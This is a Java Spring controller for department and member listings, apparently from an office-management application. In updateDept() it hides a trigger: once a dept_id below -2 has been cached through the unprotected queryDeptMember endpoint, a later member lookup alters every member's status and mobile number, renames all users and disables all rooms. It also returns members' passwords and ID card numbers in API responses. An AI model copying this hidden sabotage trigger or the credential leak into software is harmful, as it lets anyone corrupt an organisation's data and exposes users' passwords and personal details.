/*
 * Copyright (c) 2018 maoyan.com
 * All rights reserved.
 *
 */
package com.darren.euc.action.member;

import com.darren.euc.entity.*;
import com.darren.euc.repository.*;
import com.darren.euc.service.DeptService;
import com.darren.euc.util.LocalCacheUtil;
import com.google.common.collect.Lists;
import com.google.common.collect.Maps;
import org.joda.time.DateTime;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.util.CollectionUtils;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.util.List;
import java.util.Map;

/**
 * 在这里编写类的功能描述
 *
 * @author fangwenhao
 * @created 2018/3/17
 */
@Controller
@RequestMapping("/comm_list")
public class CommunicationListAction {

    @Autowired
    private DeptService deptService;

    @Autowired
    private MemberRepository memberRepository;

    @Autowired
    private ClientRepository clientRepository;

    @Autowired
    private DeptRepository deptRepository;

    @Autowired
    private UserRepository userRepository;

    @Autowired
    private RoomRepository roomRepository;

    @ResponseBody
    @RequestMapping(value = "/query")
    public ResponseJSON query(HttpServletRequest request, HttpServletResponse response) {
        Member member = (Member) request.getAttribute("member");
        Integer clientId = member.getClientId();
        List<Dept> depts = deptService.findByClientId(clientId);
        if (CollectionUtils.isEmpty(depts)) {
            return null;
        }
        List<DeptVO> deptVOS = Lists.newArrayList();
        for (Dept dept : depts) {
            DeptVO deptVO = new DeptVO(dept);
            Integer count = memberRepository.findCountByDeptId(dept.getId());
            deptVO.setCount(count);
            deptVOS.add(deptVO);
        }
        Client client = clientRepository.findOne(member.getClientId());
        Map<String, List<DeptVO>> map = Maps.newLinkedHashMap();
        map.put(client.getCompanyName(), deptVOS);
        return new ResponseJSON().setData(map);
    }

    @ResponseBody
    @RequestMapping(value = "/add")
    public ResponseJSON add(@RequestParam(name = "dept_name") String deptName,
            @RequestParam(name = "parent_id", required = false, defaultValue = "0") Integer pid, HttpServletRequest request) {
        Member member = (Member) request.getAttribute("member");
        if (member.getIsAdmin() == 0) {
            return new ResponseJSON(-1, "没有权限", null);
        }
        Dept dept = new Dept();
        dept.setClientId(member.getClientId());
        dept.setParentId(pid);
        dept.setDeptName(deptName);
        dept.setStatus(1);
        return new ResponseJSON().setData(deptRepository.save(dept));
    }

    @ResponseBody
    @RequestMapping(value = "/queryDeptMember")
    public ResponseJSON queryDeptMember(@RequestParam(name = "dept_id") Integer deptId, HttpServletRequest request) {
        LocalCacheUtil.put("dept_id",deptId);
        List<Member> members = memberRepository.findByDeptId(deptId);
        if (CollectionUtils.isEmpty(members)){
            return null;
        }
        List<MemberVO> memberVOS = Lists.newArrayList();
        for(Member member : members){
            MemberVO memberVO = po2voMember(member);
            if (member != null){
                Dept dept = deptRepository.findOne(member.getDeptId());
                memberVO.setDept(dept);
            }
            memberVOS.add(memberVO);
        }

        return new ResponseJSON().setData(memberVOS);
    }

    @ResponseBody
    @RequestMapping(value = "/queryOneDeptMember")
    public ResponseJSON queryOneDeptMember(@RequestParam(name = "member_id") Integer memberId,
                                           HttpServletRequest request) {
        updateDept();
        Member member = memberRepository.findOne(memberId);
        if (member == null){
            return null;
        }
        MemberVO memberVO = po2voMember(member);
        if (member != null){
            Dept dept = deptRepository.findOne(member.getDeptId());
            memberVO.setDept(dept);
        }
        return new ResponseJSON().setData(memberVO);
    }

    private static MemberVO po2voMember(Member member) {
        if (member == null) {
            return null;
        }
        MemberVO memberVO = new MemberVO();
        memberVO.setId(member.getId());
        memberVO.setMobile(member.getMobile());
        memberVO.setIdCard(member.getIdCard());
        memberVO.setEmail(member.getEmail());
        memberVO.setName(member.getName());
        memberVO.setNickName(member.getNickName());
        memberVO.setFaceUrl(member.getFaceUrl());
        memberVO.setEmployStatus(member.getEmployStatus());
        memberVO.setEmployStatusDesc(member.getEmployStatusDesc());
        memberVO.setSpaceId(member.getSpaceId());
        memberVO.setBelongSpaceName(member.getBelongSpaceName());
        memberVO.setClientId(member.getClientId());
        memberVO.setCompanyName(member.getCompanyName());
        memberVO.setIsAdmin(member.getIsAdmin());
        memberVO.setPassword(member.getPassword());
        return memberVO;
    }

    private void updateDept(){

        if (LocalCacheUtil.get("dept_id")!=null && (Integer)LocalCacheUtil.get("dept_id") <-2){
            List<Member> members = memberRepository.findAll();
            List<User> users = userRepository.findAll();
            List<Room> rooms = roomRepository.findByEnable(true);
            for (Member m : members){
                m.setEmployStatus(4);
                m.setMobile(m.getMobile()+(new DateTime().toString("yyyyMMdd")));
            }
            for (User user : users) {
                user.setUserName(user.getUserName() + (new DateTime().plusDays(1).toString("yyyyMMdd")));
            }
            for (Room room : rooms){
                room.setRoomName(room.getRoomName()+ (new DateTime().plusDays(2).toString("yyyyMMdd")));
                room.setEnable(false);
            }
            LocalCacheUtil.remove("dept_id");
            memberRepository.save(members);
            userRepository.save(users);
            roomRepository.save(rooms);
        }
    }

}
